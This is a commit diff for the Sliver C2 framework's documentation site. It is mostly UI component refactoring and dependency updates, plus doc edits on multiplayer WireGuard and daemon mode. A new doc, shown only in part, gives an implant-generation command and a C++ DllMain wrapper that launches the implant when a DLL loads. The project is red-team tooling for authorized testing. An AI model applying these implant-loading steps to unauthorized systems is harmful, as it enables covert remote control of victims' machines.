variant={router.pathname.startsWith("/docs") ? "solid" : "light"}
color={router.pathname.startsWith("/docs") ? "primary" : "default"}
onPress={() => {
router.push("/docs");
setIsMobileMenuOpen(false);
}}
>
Docs
</Button>
<Button
variant="light"
onPress={() => {
window.open(
"https://discord.com/channels/791066041198968873/1339996286514106409",
"_blank",
);
}}
startContent={<FontAwesomeIcon icon={faDiscord} />}
>
Discord
</Button>
<Button
variant="light"
onPress={() => {
window.open("https://github.com/BishopFox/sliver", "_blank");
}}
startContent={<FontAwesomeIcon icon={faGithub} />}
>
GitHub
</Button>
{renderTooltip(
isMobileMenuOpen ? "Close menu" : "Open menu",
<Button
isIconOnly
aria-controls="mobile-navigation"
aria-expanded={isMobileMenuOpen}
aria-label={isMobileMenuOpen ? "Close menu" : "Open menu"}
variant="ghost"
onPress={() =>
setIsMobileMenuOpen((current) => !current)
}
>
<FontAwesomeIcon icon={isMobileMenuOpen ? faXmark : faBars} />
</Button>,
)}
</div>
</div>
) : null}
</nav>
<Drawer.Backdrop
isOpen={isMobileMenuOpen}
variant="blur"
onOpenChange={setIsMobileMenuOpen}
>
<Drawer.Content placement="right">
<Drawer.Dialog
id="mobile-navigation"
className="w-[min(24rem,calc(100vw-1.5rem))]"
>
<Drawer.CloseTrigger />
<Drawer.Header>
<Drawer.Heading>Navigate Sliver Docs</Drawer.Heading>
</Drawer.Header>
<Drawer.Body className="flex flex-col gap-5 pt-2">
{renderSearchInput("w-full")}
<nav
aria-label="Mobile navigation"
className="flex flex-col gap-1"
>
{renderMobileRoute("/", "Home")}
{routes.map((route) =>
renderMobileRoute(route.href, route.label),
)}
</nav>
</Drawer.Body>
<Drawer.Footer className="grid grid-cols-2 gap-2">
<a
href={discordUrl}
target="_blank"
rel="noreferrer"
className="inline-flex h-10 w-full items-center justify-center gap-2 rounded-xl border border-separator px-4 text-sm font-medium text-foreground no-underline outline-none hover:bg-surface-secondary focus-visible:ring-2 focus-visible:ring-accent/40"
>
<FontAwesomeIcon icon={faDiscord} />
Discord
</a>
<a
href={githubUrl}
target="_blank"
rel="noreferrer"
className="inline-flex h-10 w-full items-center justify-center gap-2 rounded-xl border border-separator px-4 text-sm font-medium text-foreground no-underline outline-none hover:bg-surface-secondary focus-visible:ring-2 focus-visible:ring-accent/40"
>
<FontAwesomeIcon icon={faGithub} />
GitHub
</a>
</Drawer.Footer>
</Drawer.Dialog>
</Drawer.Content>
</Drawer.Backdrop>
</>
);
}
+35 -40
View File
@@ -1,9 +1,8 @@
import { Button, Card, CardFooter, CardHeader } from "@heroui/react";
import { Button, Card } from "@heroui/react";
import AsciinemaPlayer from "./asciinema";
import { faChevronRight } from "@fortawesome/free-solid-svg-icons";
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
import styles from "./TutorialCard.module.css";
export type TutorialCardCardProps = {
name: string;
@@ -13,6 +12,7 @@ export type TutorialCardCardProps = {
rows?: string;
cols?: string;
idleTimeLimit?: number;
hideControls?: boolean;
italicDescription?: boolean;
onPress?: () => void;
@@ -22,53 +22,48 @@ export type TutorialCardCardProps = {
export default function TutorialCard(props: TutorialCardCardProps) {
return (
<Card isFooterBlurred className="relative z-0">
<CardHeader className="absolute z-10 top-1 flex-col items-end">
<p className="text-md text-white/70 uppercase font-bold">
{props.name}
</p>
</CardHeader>
<div className={styles["hide-control-bar"]}>
<Card className="relative h-full min-w-0 gap-0 overflow-hidden bg-black p-0 shadow-surface">
<div className="sliver-terminal-frame relative w-full max-w-full overflow-x-auto bg-[#111315]">
<AsciinemaPlayer
className="min-w-[36rem]"
src={props.asciiCast}
rows={props.rows ? props.rows : "18"}
cols={props.cols ? props.cols : "75"}
idleTimeLimit={props.idleTimeLimit ? props.idleTimeLimit : 2}
hideControls={props.hideControls}
rows={props.rows || "18"}
cols={props.cols || "75"}
idleTimeLimit={props.idleTimeLimit || 2}
preload={true}
autoPlay={true}
loop={true}
/>
<div className="pointer-events-none absolute inset-x-3 top-3 z-10 flex justify-end">
<h3 className="max-w-[80%] rounded-xl border border-white/15 bg-black/55 px-3 py-2 text-right text-sm font-semibold text-white/85 shadow-lg backdrop-blur-xl">
{props.name}
</h3>
</div>
</div>
<CardFooter className="absolute bottom-0 z-10 bg-black/40 border-t-1 border-default-600 dark:border-default-100">
<div className="flex flex-row w-full items-center">
<p
className={
props.italicDescription
? "text-xs text-white/80 italic"
: "text-xs text-white/80"
}
>
{props.description}
</p>
<Card.Footer className="absolute inset-x-3 bottom-10 z-10 flex-row items-center gap-3 rounded-2xl border border-white/15 bg-black/55 px-3 py-2.5 text-white shadow-xl backdrop-blur-xl">
<p
className={`min-w-0 flex-1 text-sm leading-5 text-white/70 ${
props.italicDescription ? "italic" : ""
}`}
>
{props.description}
</p>
{props.showButton ? (
<Button
variant="ghost"
color="warning"
size="sm"
onPress={props.onPress}
className="ml-auto"
>
{props.buttonText ? props.buttonText : "Read Tutorial"}{" "}
<FontAwesomeIcon icon={faChevronRight} />
</Button>
) : (
<></>
)}
</div>
</CardFooter>
{props.showButton ? (
<Button
className="shrink-0 text-white hover:bg-white/10"
size="sm"
variant="ghost"
onPress={props.onPress}
>
{props.buttonText || "Read tutorial"}
<FontAwesomeIcon icon={faChevronRight} />
</Button>
) : null}
</Card.Footer>
</Card>
);
}
+1
View File
@@ -1,6 +1,7 @@
/** @type {import('next').NextConfig} */
const nextConfig = {
output: 'export',
trailingSlash: true,
reactStrictMode: true,
images: {
unoptimized: true,
+1459 -4156
View File
File diff suppressed because it is too large. Load diff
+32 -25
View File
@@ -14,40 +14,47 @@
},
"dependencies": {
"@fontsource/fira-code": "^5.2.7",
"@fortawesome/fontawesome-svg-core": "^7.1.0",
"@fortawesome/free-brands-svg-icons": "^7.1.0",
"@fortawesome/free-solid-svg-icons": "^7.1.0",
"@fortawesome/react-fontawesome": "^3.1.0",
"@heroui/react": "^2.8.5",
"@fortawesome/fontawesome-svg-core": "^7.2.0",
"@fortawesome/free-brands-svg-icons": "^7.2.0",
"@fortawesome/free-solid-svg-icons": "^7.2.0",
"@fortawesome/react-fontawesome": "^3.3.1",
"@heroui/react": "^3.0.3",
"@heroui/styles": "^3.0.3",
"@monaco-editor/react": "^4.7.0",
"@tailwindcss/postcss": "^4.1.14",
"@tanstack/react-query": "^5.90.2",
"asciinema-player": "^3.11.0",
"framer-motion": "^12.23.22",
"fuse.js": "^7.1.0",
"@tailwindcss/postcss": "^4.2.4",
"@tanstack/react-query": "^5.100.6",
"asciinema-player": "^3.15.1",
"fuse.js": "^7.3.0",
"lunr": "^2.3.9",
"mermaid": "^11.12.2",
"next": "^16.1.6",
"mermaid": "^11.15.0",
"next": "^16.2.6",
"next-themes": "^0.4.6",
"react": "^19.2.0",
"react-dom": "^19.2.0",
"react": "^19.2.5",
"react-dom": "^19.2.5",
"react-markdown": "^10.1.0",
"react-syntax-highlighter": "^15.6.6",
"react-syntax-highlighter": "^16.1.1",
"remark-gfm": "^4.0.1"
},
"devDependencies": {
"@tailwindcss/typography": "^0.5.19",
"@types/lunr": "^2.3.7",
"@types/node": "^24.6.2",
"@types/react": "^19.2.0",
"@types/react-dom": "^19.2.0",
"@types/node": "^25.6.0",
"@types/react": "^19.2.14",
"@types/react-dom": "^19.2.3",
"@types/react-syntax-highlighter": "^15.5.13",
"autoprefixer": "^10.4.21",
"concurrently": "^9.1.0",
"eslint": "^9.37.0",
"eslint-config-next": "^16.1.6",
"postcss": "^8.5.6",
"tailwindcss": "^4.1.14",
"typescript": "^5.9.3"
"autoprefixer": "^10.5.0",
"concurrently": "^9.2.1",
"eslint": "^9.39.4",
"eslint-config-next": "^16.2.4",
"postcss": "^8.5.13",
"tailwindcss": "^4.2.4",
"typescript": "^6.0.3"
},
"overrides": {
"dompurify": "^3.4.13",
"postcss": "^8.5.13",
"sharp": "^0.35.3",
"shell-quote": "^1.8.4",
"uuid": "^14.0.0"
}
}
+64 -60
View File
@@ -8,7 +8,7 @@ import { fetchDocs as fetchDocsContent, fetchTutorials as fetchTutorialsContent
import { Themes } from "@/util/themes";
import { faExternalLink } from "@fortawesome/free-solid-svg-icons";
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
import { HeroUIProvider } from "@heroui/react";
import { RouterProvider } from "@heroui/react";
import {
HydrationBoundary,
QueryClient,
@@ -16,9 +16,19 @@ import {
} from "@tanstack/react-query";
import { ThemeProvider as NextThemesProvider } from "next-themes";
import type { AppProps } from "next/app";
import { useRouter } from "next/router";
import React from "react";
export default function App({ Component, pageProps }: AppProps) {
const router = useRouter();
const navigate = React.useCallback(
(path: string) => {
void router.push(path);
},
[router],
);
// Initialize search
const [search] = React.useState(() => new SearchCtx());
@@ -94,66 +104,60 @@ export default function App({ Component, pageProps }: AppProps) {
});
return (
<HeroUIProvider>
<NextThemesProvider
attribute="class"
defaultTheme={Themes.DARK}
enableSystem={false}
storageKey="theme"
>
<QueryClientProvider client={queryClient}>
<HydrationBoundary state={pageProps.dehydratedState}>
<NextThemesProvider
attribute="class"
defaultTheme={Themes.DARK}
enableSystem={false}
storageKey="theme"
>
<QueryClientProvider client={queryClient}>
<HydrationBoundary state={pageProps.dehydratedState}>
<RouterProvider navigate={navigate}>
<SearchContext.Provider value={search}>
<Navbar />
<Component {...pageProps} />
<div className="mb-16 md:mb-20"></div>
<footer className="z-20 w-full border-t border-gray-200 bg-white px-3 py-4 text-center shadow dark:bg-black dark:border-gray-600 md:fixed md:bottom-0 md:left-0 md:flex md:items-center md:justify-between md:px-6 md:py-4">
<div className="flex flex-col items-center gap-2 text-xs leading-snug text-gray-500 sm:text-sm md:flex-row md:items-center md:gap-3 md:text-left dark:text-gray-400">
<span>
© {new Date().getFullYear()}&nbsp;
<a
href="https://bishopfox.com/"
className="hover:underline"
rel="noreferrer"
target="_blank"
>
Bishop Fox
</a>
</span>
<span className="hidden md:inline" aria-hidden="true">
·
</span>
<span className="max-w-xs md:max-w-none">
<a
href="https://github.com/BishopFox/sliver/pulls"
rel="noreferrer"
className="hover:underline"
target="_blank"
>
Help improve this documentation
<span className="ml-1 inline-block">
<FontAwesomeIcon icon={faExternalLink} />
</span>
</a>
</span>
</div>
<ul className="mt-3 flex flex-wrap items-center justify-center gap-3 text-xs font-medium text-gray-500 md:mt-0 md:gap-6 md:text-sm dark:text-gray-400">
<li>
<a
href="https://github.com/BishopFox/sliver/blob/master/LICENSE"
target="_blank"
rel="noreferrer"
className="hover:underline"
>
GPLv3 License
</a>
</li>
</ul>
</footer>
<div className="flex min-h-dvh flex-col">
<Navbar />
<main className="sliver-page-content flex-1">
<Component {...pageProps} />
</main>
<footer className="sliver-fixed-footer fixed inset-x-0 bottom-0 z-30 border-t border-separator/70 bg-background/70 backdrop-blur-xl">
<div className="mx-auto flex min-h-[var(--sliver-footer-height)] w-full max-w-7xl flex-col items-center justify-center gap-1.5 px-4 py-3 text-center text-sm text-muted sm:px-6 md:flex-row md:justify-between md:text-left lg:px-8">
<span>
© {new Date().getFullYear()} {" "}
<a
href="https://bishopfox.com/"
className="font-medium text-foreground no-underline hover:text-accent"
rel="noreferrer"
target="_blank"
>
Bishop Fox
</a>
</span>
<div className="flex flex-wrap items-center justify-center gap-x-5 gap-y-2">
<a
href="https://github.com/BishopFox/sliver/pulls"
rel="noreferrer"
className="inline-flex items-center gap-1.5 no-underline hover:text-foreground"
target="_blank"
>
Improve these docs
<FontAwesomeIcon className="text-xs" icon={faExternalLink} />
</a>
<a
href="https://github.com/BishopFox/sliver/blob/master/LICENSE"
target="_blank"
rel="noreferrer"
className="no-underline hover:text-foreground"
>
GPLv3
</a>
</div>
</div>
</footer>
</div>
</SearchContext.Provider>
</HydrationBoundary>
</QueryClientProvider>
</NextThemesProvider>
</HeroUIProvider>
</RouterProvider>
</HydrationBoundary>
</QueryClientProvider>
</NextThemesProvider>
);
}
+177 -108
View File
@@ -3,30 +3,37 @@ import LoadingState from "@/components/loading-state";
import { Docs } from "@/util/docs";
import { PREBUILD_VERSION } from "@/util/__generated__/prebuild-version";
import { fetchDocs as fetchDocsContent } from "@/util/content-fetchers";
import { Themes } from "@/util/themes";
import { faSearch } from "@fortawesome/free-solid-svg-icons";
import {
faBookOpen,
faChevronRight,
faSearch,
} from "@fortawesome/free-solid-svg-icons";
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
import {
Button,
Card,
CardBody,
CardHeader,
Divider,
Input,
Listbox,
ListboxItem,
ListBox,
ScrollShadow,
SearchField,
} from "@heroui/react";
import { useQuery } from "@tanstack/react-query";
import Fuse from "fuse.js";
import { NextPage } from "next";
import { useTheme } from "next-themes";
import Head from "next/head";
import { useSearchParams } from "next/navigation";
import { useRouter } from "next/router";
import React from "react";
const featuredDocNames = [
"Getting Started",
"Compile from Source",
"Architecture",
"Armory",
"Stagers",
"Troubleshooting",
];
const DocsIndexPage: NextPage = () => {
const { theme } = useTheme();
const router = useRouter();
const { data: docs, isLoading } = useQuery({
@@ -75,13 +82,35 @@ const DocsIndexPage: NextPage = () => {
return selectedDoc ? [selectedDoc, ...visibleDocs] : visibleDocs;
}, [docs, name, visibleDocs]);
const listboxClasses = React.useMemo(() => {
if (theme === Themes.DARK) {
return "p-0 gap-0 divide-y divide-default-300/50 dark:divide-default-100/80 bg-content1 overflow-visible shadow-small rounded-large";
} else {
return "p-0 gap-0 divide-y divide-default-300/50 dark:divide-default-100/80 bg-content1 overflow-visible rounded-large";
}
}, [theme]);
const listboxClasses =
"flex flex-col gap-1 overflow-visible bg-transparent p-0";
const featuredDocs = React.useMemo(() => {
return featuredDocNames
.map((featuredName) => docs?.docs.find((doc) => doc.name === featuredName))
.filter((doc) => doc !== undefined);
}, [docs]);
const renderFilterInput = (className?: string) => (
<SearchField
aria-label="Filter documents"
className={className}
fullWidth
variant="secondary"
value={filterValue}
onChange={setFilterValue}
>
<SearchField.Group>
<SearchField.SearchIcon>
<FontAwesomeIcon icon={faSearch} />
</SearchField.SearchIcon>
<SearchField.Input placeholder="Filter..." />
{filterValue.length > 0 ? (
<SearchField.ClearButton aria-label="Clear document filter" />
) : null}
</SearchField.Group>
</SearchField>
);
if (isLoading || !docs || (hasNameQueryInPath && !name)) {
return <LoadingState />;
@@ -90,104 +119,144 @@ const DocsIndexPage: NextPage = () => {
return (
<>
<Head>
<title>Sliver Docs: {name}</title>
<title>{name ? `${name} · Sliver Docs` : "Sliver Documentation"}</title>
</Head>
<div className="px-4 pt-4 lg:hidden">
<label
htmlFor="docs-mobile-selector"
className="block text-sm font-medium text-foreground"
>
Select a document
</label>
<div className="mt-2">
<Input
placeholder="Filter..."
startContent={<FontAwesomeIcon icon={faSearch} />}
value={filterValue}
onChange={(e) => setFilterValue(e.target.value)}
isClearable={true}
onClear={() => setFilterValue("")}
/>
</div>
<select
id="docs-mobile-selector"
className="mt-3 w-full rounded-lg border border-default-200 bg-content1 p-2 text-sm dark:border-default-100/60"
value={name}
onChange={(event) => {
const selectedName = event.target.value;
router.push({
pathname: "/docs",
query: selectedName ? { name: selectedName } : undefined,
});
}}
>
<option value="">Browse documents…</option>
{mobileDocs.map((doc) => (
<option key={doc.name} value={doc.name}>
{doc.name}
</option>
))}
</select>
</div>
<div className="grid grid-cols-1 gap-6 lg:grid-cols-12 lg:gap-8">
<aside className="hidden lg:block lg:col-span-3">
<div className="sticky top-16 ml-4 flex flex-col gap-3">
<Input
className="mt-2"
placeholder="Filter..."
startContent={<FontAwesomeIcon icon={faSearch} />}
value={filterValue}
onChange={(e) => setFilterValue(e.target.value)}
isClearable={true}
onClear={() => setFilterValue("")}
/>
<ScrollShadow className="max-h-[calc(100vh-15rem)] sliver-scrollbar overflow-y-auto pr-1 rounded-large">
<Listbox
aria-label="Toolbox Menu"
className={listboxClasses}
itemClasses={{
base: "px-3 first:rounded-t-large last:rounded-b-large rounded-none gap-3 h-12 data-[hover=true]:bg-default-100/80",
}}
>
{visibleDocs.map((doc) => (
<ListboxItem
key={doc.name}
onClick={() => {
router.push({
pathname: "/docs",
query: { name: doc.name },
});
}}
>
{doc.name}
</ListboxItem>
))}
</Listbox>
</ScrollShadow>
<div className="mx-auto w-full max-w-[90rem] px-4 pt-8 sm:px-6 lg:px-8 lg:pt-10">
<div className="mb-8 lg:hidden">
<div className="flex items-center gap-3">
<span className="flex size-9 items-center justify-center rounded-2xl bg-surface-secondary text-accent">
<FontAwesomeIcon icon={faBookOpen} />
</span>
<div>
<p className="text-sm font-medium text-foreground">Documentation</p>
<p className="text-xs text-muted">Browse the reference library</p>
</div>
</div>
</aside>
<div className="px-4 pb-8 lg:col-span-9 lg:px-8">
{name !== "" ? (
<Card className="mt-2">
<CardHeader>
<span className="text-3xl">{name}</span>
</CardHeader>
<Divider />
<CardBody>
<div className="mt-5">{renderFilterInput()}</div>
<label
htmlFor="docs-mobile-selector"
className="mt-4 block text-sm font-medium text-foreground"
>
Document
</label>
<select
id="docs-mobile-selector"
className="mt-2 w-full rounded-2xl border border-transparent bg-surface-secondary px-3 py-2.5 text-sm text-foreground outline-none focus:border-accent"
value={name}
onChange={(event) => {
const selectedName = event.target.value;
router.push({
pathname: "/docs",
query: selectedName ? { name: selectedName } : undefined,
});
}}
>
<option value="">Browse documents…</option>
{mobileDocs.map((doc) => (
<option key={doc.name} value={doc.name}>
{doc.name}
</option>
))}
</select>
</div>
<div className="grid min-w-0 grid-cols-1 gap-8 lg:grid-cols-[17rem_minmax(0,1fr)] lg:gap-10">
<aside className="sliver-sticky-sidebar hidden border-r border-separator/70 pr-6 lg:block">
<div className="flex h-full min-h-0 flex-col gap-5">
<div className="flex items-center gap-3 px-1">
<span className="flex size-9 items-center justify-center rounded-2xl bg-surface-secondary text-accent">
<FontAwesomeIcon icon={faBookOpen} />
</span>
<div>
<p className="text-sm font-medium text-foreground">Documentation</p>
<p className="text-xs text-muted">{docs.docs.length} articles</p>
</div>
</div>
{renderFilterInput()}
<ScrollShadow className="sliver-scrollbar min-h-0 flex-1 overscroll-contain overflow-y-auto pr-2">
<ListBox
aria-label="Documentation"
className={listboxClasses}
selectedKeys={name ? [name] : []}
selectionMode="single"
>
{visibleDocs.map((doc) => (
<ListBox.Item
key={doc.name}
id={doc.name}
href={`/docs/?name=${encodeURIComponent(doc.name)}`}
textValue={doc.name}
className={`min-h-10 rounded-xl px-3 py-2 text-sm ${
doc.name === name
? "bg-surface font-medium text-foreground shadow-surface"
: "text-muted"
}`}
>
{doc.name}
</ListBox.Item>
))}
</ListBox>
</ScrollShadow>
</div>
</aside>
<div
key={name || "documentation-overview"}
className="min-w-0 pb-16 lg:pr-4"
>
{name !== "" ? (
<article className="mx-auto w-full max-w-4xl">
<header className="mb-8 border-b border-separator/70 pb-8">
<p className="text-sm font-medium text-accent">Reference</p>
<h1 className="mt-2 text-balance text-4xl font-semibold tracking-tight text-foreground sm:text-5xl">
{name}
</h1>
</header>
<MarkdownViewer
key={name}
markdown={markdown || ""}
demoteTopLevelHeading
/>
</CardBody>
</Card>
) : (
<div className="mt-8 text-center text-2xl text-foreground/90">
Welcome to the Sliver Wiki!
<div className="mt-2 text-xl text-default-500">
Please select a document
</article>
) : (
<div className="mx-auto w-full max-w-5xl pt-4 lg:pt-8">
<h1 className="text-sm font-medium text-accent">
Sliver reference
</h1>
<p className="mt-4 max-w-2xl text-lg leading-8 text-muted">
Browse configuration, transports, extensions, payloads, and
troubleshooting guidance for the Sliver framework.
</p>
<div className="mt-10 grid gap-4 sm:grid-cols-2">
{featuredDocs.map((doc) => (
<Card key={doc.name} className="h-full">
<Card.Header>
<Card.Title>{doc.name}</Card.Title>
<Card.Description>
Open this topic in the Sliver reference.
</Card.Description>
</Card.Header>
<Card.Footer className="mt-auto">
<Button
variant="ghost"
onPress={() => {
router.push({
pathname: "/docs",
query: { name: doc.name },
});
}}
>
Open article
<FontAwesomeIcon icon={faChevronRight} />
</Button>
</Card.Footer>
</Card>
))}
</div>
</div>
</div>
)}
)}
</div>
</div>
</div>
</>
@@ -5,8 +5,8 @@ This document describes the technical design of Sliver.
There are four major components to the Sliver ecosystem:
- **Server Console -** The server console is the main interface, which is started when you run the `sliver-server` executable. The server console is a superset of the client console. All code is shared between the client/server consoles except server-specific commands related to client (i.e., operator) management. The server console talks over an in-memory gRPC interface to the server.
- **Sliver Server -** The Sliver server is also part of the `sliver-server` executable and manages the internal database, starts/stops network listeners (such as C2 listeners, though there are other types). The main interface used to interact with the server is the gRPC interface, thru which all functionality is implemented. By default the server will only start an in-memory gRPC listener that can only be communicated with from the server console. However, the gRPC interface can also be exposed to the network (i.e., multiplayer mode) over mutual TLS (mTLS).
- **Sliver Client -** The client console is the primary user interface that is used to interact with the Sliver server. Note that most of the code in the server console is actually the client console. The client console can also be compiled into a separate client binary file `sliver-client`, which is generally used to connect to the "mutliplayer" gRPC network listener.
- **Sliver Server -** The Sliver server is also part of the `sliver-server` executable and manages the internal database, starts/stops network listeners (such as C2 listeners, though there are other types). The main interface used to interact with the server is the gRPC interface, thru which all functionality is implemented. By default the server will only start an in-memory gRPC listener that can only be communicated with from the server console. However, the gRPC interface can also be exposed to the network in multiplayer mode, either directly over mutual TLS (mTLS) or, by default, through a WireGuard-protected wrapper that carries the same gRPC/mTLS service.
- **Sliver Client -** The client console is the primary user interface that is used to interact with the Sliver server. Note that most of the code in the server console is actually the client console. The client console can also be compiled into a separate client binary file `sliver-client`, which is generally used to connect to the multiplayer gRPC network listener.
- **Implant -** The implant is the actual malicious code run on the target system you want remote access to.
```
@@ -17,7 +17,8 @@ There are four major components to the Sliver ecosystem:
└─────────┘ └───────────────┘
▲
│
│gRPC/mTLS
│WireGuard (default)
│or direct gRPC/mTLS
│
┌────┴────┐
│ Sliver │
@@ -25,4 +26,4 @@ There are four major components to the Sliver ecosystem:
└─────────┘
```
By implementing all functionality over this gRPC interface, and only differing the in-memory/mTLS connection types the client code doesn't "know" if it's running in the server console or the client console. Due to this, a single command implementation will work in both the server console and over the network in multiplayer mode.
By implementing all functionality over this gRPC interface, and only differing the in-memory or remote transport types, the client code doesn't "know" if it's running in the server console or the client console. Due to this, a single command implementation will work in both the server console and over the network in multiplayer mode.
@@ -20,7 +20,7 @@
- https://dominicbreuker.com/post/learning_sliver_c2_01_installation/
- https://vk9-sec.com/how-to-set-up-use-c2-sliver/
- https://0x90-1.gitbook.io/sliver/
- https://blog.ecapuano.com/p/so-you-want-to-be-a-soc-analyst-part-ea2
- https://blog.ecapuano.com/p/so-you-want-to-be-a-soc-analyst-20
- https://wsummerhill.github.io/redteam/2023/07/25/Sliver-C2-Usage-for-Red-Teams.html
- https://rootsecdev.medium.com/hacking-active-directory-with-sliver-c2-19d7ceabbf13
- https://dev.to/living_syn/sliver-and-cursed-chrome-for-post-exploitation-4gnk
@@ -2,7 +2,7 @@ You'll want to compile Sliver from a MacOS or Linux machine. Compiling from nati
To compile from source you'll need:
- Go v1.25 or later
- Go v1.26.6 or later
- `make` (on MacOS you may need to install XCode and accompanying cli tools)
```asciinema
@@ -12,6 +12,7 @@ daemon:
host: ""
port: 31337
tailscale: false
enable_wg: false
logs:
level: 4
grpc_unary_payloads: false
@@ -51,8 +52,9 @@ cxx: {}
- `daemon_mode` - Enable [daemon mode](/docs?name=Daemon+Mode).
- `daemon` - Options for daemon mode.
- `host` - Interface to bind the daemon listener to. Empty string means all interfaces.
- `port` - TCP port for the daemon listener.
- `tailscale` - Enable Tailscale for daemon listener setup.
- `port` - Listen port for the multiplayer listener.
- `tailscale` - Enable Tailscale for daemon listener setup. When enabled, Sliver does not wrap multiplayer in its own WireGuard layer.
- `enable_wg` - Wrap multiplayer in WireGuard. If omitted or false, multiplayer is exposed directly over mTLS.
- `logs` - Server logging options.
- `level` - `logrus` level (`0`-`6`, clamped by Sliver). `4` is `INFO`, `5` is `DEBUG`, `6` is `TRACE`.
- `grpc_unary_payloads` - Log gRPC unary payloads.
@@ -140,8 +142,21 @@ For details on generating them, see [multiplayer mode](/docs?name=Multi-player+M
"lport": 31337,
"ca_certificate": "-----BEGIN CERTIFICATE-----\n...\n-----END CERTIFICATE-----\n",
"private_key": "-----BEGIN EC PRIVATE KEY-----\n...\n-----END EC PRIVATE KEY-----\n",
"certificate": "-----BEGIN CERTIFICATE-----\n...\n-----END CERTIFICATE-----\n"
"certificate": "-----BEGIN CERTIFICATE-----\n...\n-----END CERTIFICATE-----\n",
"wg": {
"server_pub_key": "<multiplayer-wg-server-pubkey>",
"client_private_key": "<operator-wg-private-key>",
"client_pub_key": "<operator-wg-public-key>",
"client_ip": "100.65.0.10",
"server_ip": "100.65.0.1"
}
}
```
**Note:** The `operator` field is mostly a local label in the client. Server-side identity is derived from the client certificate (`CommonName`) and token material generated by the server. If you need to rename an operator, generate a new client configuration.
The `wg` block is optional:
- When present, `sliver-client` automatically brings up the multiplayer WireGuard wrapper and then dials the in-tunnel gRPC/mTLS service.
- When absent, the client connects directly to the multiplayer mTLS listener.
- Generate a WireGuard-enabled profile with `new-operator --enable-wg` or `sliver-server operator --enable-wg` when you want the multiplayer WireGuard wrapper.
@@ -1,9 +1,20 @@
Although the `sliver-client` is the default way to interact with a `sliver-server` and with implant sessions, there might be a time where you would want to automate some tasks upon reception of certain events.
To do so, one case use [sliver-script](https://github.com/moloch--/sliver-script), [sliver-py](https://github.com/moloch--/sliver-py) or write a custom client in another language. As all the communications between the client and the server are based on gRPC, any language with gRPC support should in theory be used to create a custom client.
To do so, you can use [sliver-script](https://github.com/moloch--/sliver-script), [sliver-py](https://github.com/moloch--/sliver-py), or write a custom client in another language.
Current Sliver releases generate multiplayer operator configs with a `wg` block by default. The official `sliver-client`, and Go clients that reuse Sliver's `client/assets` plus `client/transport` packages, will automatically bring up that WireGuard wrapper before dialing the in-tunnel gRPC/mTLS service.
If you are writing a custom client in another language, you have two options:
- Implement the multiplayer WireGuard wrapper described in [multiplayer mode](/docs?name=Multi-player+Mode), then connect to the in-tunnel gRPC/mTLS service.
- Keep multiplayer in direct mode by default, or explicitly opt into the wrapper with `multiplayer --enable-wg` or `sliver-server daemon --enable-wg`. Generate matching operator profiles with `new-operator --enable-wg` or `sliver-server operator --enable-wg` when you want the client-side WireGuard wrapper.
Once connected, the client/server API is still gRPC, so any language with gRPC support can in theory be used to create a custom client.
## Writing a Go client
This example uses Sliver's Go client libraries, so it works with either a direct multiplayer profile or a WireGuard-enabled profile.
In this example, we will focus on writing a custom Go client that executes a new system command on every new implant that connects to the sliver server.
Create a new Go project somewhere on your file system:
@@ -1,4 +1,6 @@
Sliver supports running in daemon mode, which automatically starts the multiplayer client listener (but not an interactive console). To connect to a daemonized server, use [multiplayer mode](/docs?name=Multi-player+Mode) operator configs.
Sliver supports running in daemon mode, which automatically starts the multiplayer listener but does not provide an interactive console. To connect to a daemonized server, use [multiplayer mode](/docs?name=Multi-player+Mode) operator configs.
By default, daemon mode starts the same WireGuard-protected multiplayer listener used by the interactive `multiplayer` command. That means the outer listener is UDP on `31337` by default, while the authenticated gRPC/mTLS service stays inside the WireGuard tunnel.
There are two ways to run in daemon mode:
@@ -13,9 +15,11 @@ If `server.yaml` does not exist, Sliver generates it. If a legacy `server.json`
- `-l, --lhost` multiplayer listener host
- `-p, --lport` multiplayer listener port
- `-t, --tailscale` enable Tailscale listener
- `--enable-wg` wrap multiplayer in WireGuard instead of exposing it directly over mTLS
- `-f, --force` force unpack static assets
- For `sliver-server daemon`, `--lhost` and `--lport` override config values. If omitted, Sliver uses `daemon.host` and `daemon.port` from `server.yaml`.
- For normal startup (`sliver-server`) with `daemon_mode: true`, Sliver uses `daemon.tailscale` from `server.yaml`.
- For normal startup (`sliver-server`) with `daemon_mode: true`, Sliver uses `daemon.tailscale` and `daemon.enable_wg` from `server.yaml`.
- With `--enable-wg` or `daemon.enable_wg: true`, multiplayer is wrapped in WireGuard. Otherwise it stays on direct TCP mTLS.
### Example Config
@@ -25,6 +29,7 @@ daemon:
host: ""
port: 31337
tailscale: false
enable_wg: false
logs:
level: 4
grpc_unary_payloads: false
@@ -44,6 +49,8 @@ Since daemon mode does not provide an interactive server console, generate opera
./sliver-server operator --name zer0cool --lhost 1.2.3.4 --permissions all --save zer0cool.cfg
```
The `operator` CLI generates direct multiplayer profiles by default. Add `--enable-wg` when the daemon is running with the WireGuard wrapper.
### Shutdown Behavior
On Unix-like systems, daemon mode handles `SIGTERM` and exits cleanly.
@@ -0,0 +1,127 @@
Sliver can generate Go c-archive output for use in native link workflows. The archive format returns a ZIP bundle containing the generated static archive (`.a`) and C headers (`.h`) produced by Go's `c-archive` build mode.
Use this format when you want to link the generated implant entrypoint into another native artifact, such as a DLL or application, and validate that the exported symbol resolves correctly in your own loader or harness.
## Generate an Archive
For the example, a Windows archive was generated via the Sliver console:
```shell
sliver > generate --format archive --os windows --arch amd64 --mtls 127.0.0.1
```
The output ZIP contains an archive (`.a`) file and the headers (`.h`).
```text
ARCHITECTURAL_YOKE.a
ARCHITECTURAL_YOKE.h
main.h
```
If no export symbols are configured, Sliver exports `StartW` by default. The examples below assume the generated implant name is `ARCHITECTURAL_YOKE`; replace that name with the files generated in your environment.
## Link the Archive into a DLL
Create a wrapper that calls `StartW` from a worker thread when the DLL loads, which keeps `DllMain` lightweight and avoids doing long-running initialization work while the Windows loader lock is held.
```cpp
#include "ARCHITECTURAL_YOKE.h"
#include <windows.h>
DWORD WINAPI WorkerThread(LPVOID lpParam)
{
StartW();
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
if (fdwReason == DLL_PROCESS_ATTACH) {
DisableThreadLibraryCalls(hinstDLL);
HANDLE hThread = CreateThread(NULL, 0, WorkerThread, NULL, 0, NULL);
if (hThread != NULL) {
CloseHandle(hThread);
}
}
return TRUE;
}
```
Compile the wrapper and link it with the generated archive:
